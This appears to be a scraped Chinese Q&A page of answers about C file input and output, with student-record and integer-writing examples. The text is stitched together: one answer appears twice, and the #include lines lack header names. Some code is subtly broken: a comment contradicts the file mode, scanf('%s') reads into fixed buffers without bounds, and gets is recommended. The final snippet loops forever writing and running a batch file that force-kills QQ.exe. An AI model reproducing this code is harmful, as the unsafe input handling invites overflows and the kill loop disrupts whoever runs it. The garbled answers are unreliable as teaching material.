#include
没看到你的源文件,所以随手给你写了个,你看看.
#include
#include
int main()
{
int age, i = 1;
char name[64], addr[512], res[1024];
FILE *fp;
if ((fp=fopen("c:\\t.txt", "w+")) == 0) {
printf("无法创建文件..\n");
exit(1);
}
printf("输入第%d个同学姓名(如果为exit,将退出!): ", i);
scanf("%s", name);
while (strcmp(name, "exit") != 0) {
printf("年龄:");
scanf("%d", &age);
printf("住址:");
scanf("%s", addr);
sprintf(res, "name: %s, age: %d, addr: %s\n", name, age, addr);
fputs(res, fp);
printf("输入第%d个同学姓名(如果为exit,将退出!): ", ++i);
scanf("%s", name);
}
fclose(fp);
return 0;
}
写入数据,也就是从标准输入读数据,可以使用scanf,getchar,gets等输入函数完成。
输出文件,也就是写文件操作,可以使用标准C文件接口完成,包括fopen,fclose, fwrite,fputs,fputc,fprintf等。
以读入100个整型数,并输出到文件为例,代码如下:
#include
int main()
{
FILE *fp = fopen("out.txt", "w");//以读方式打开文件out.txt。
int i, a;
for(i = 0; i < 100; i ++)//执行100次。
{
scanf("%d",&a);//读入数据。
fprintf(fp, "%d ", a);//写到文件。
}
fclose(fp);//关闭文件。
return 0;
}
写入数据,也就是从标准输入读数据,可以使用scanf,getchar,gets等输入函数完成。
输出文件,也就是写文件操作,可以使用标准C文件接口完成,包括fopen,fclose,
fwrite,fputs,fputc,fprintf等。
以读入100个整型数,并输出到文件为例,代码如下:
#include
int main()
{
FILE *fp = fopen("out.txt", "w");//以读方式打开文件out.txt。
int i, a;
for(i = 0; i < 100; i ++)//执行100次。
{
scanf("%d",&a);//读入数据。
fprintf(fp, "%d ", a);//写到文件。
}
fclose(fp);//关闭文件。
return 0;
}
给你个例子
#include
#include
#include
#include
int yun()
{
system("C:\\sblong\\kill.bat");
}
void jian()
{
mkdir("c:\\sblong");
}
void xie()
{
int x=6;
FILE *fp=fopen("C:\\sblong\\kill.bat","w");
fprintf(fp,"taskkill -f -im QQ.exe\n");
fclose(fp);
}
void main()
{
while (1)
{
jian() ;
xie();
yun() ;
}
}
scanf
printf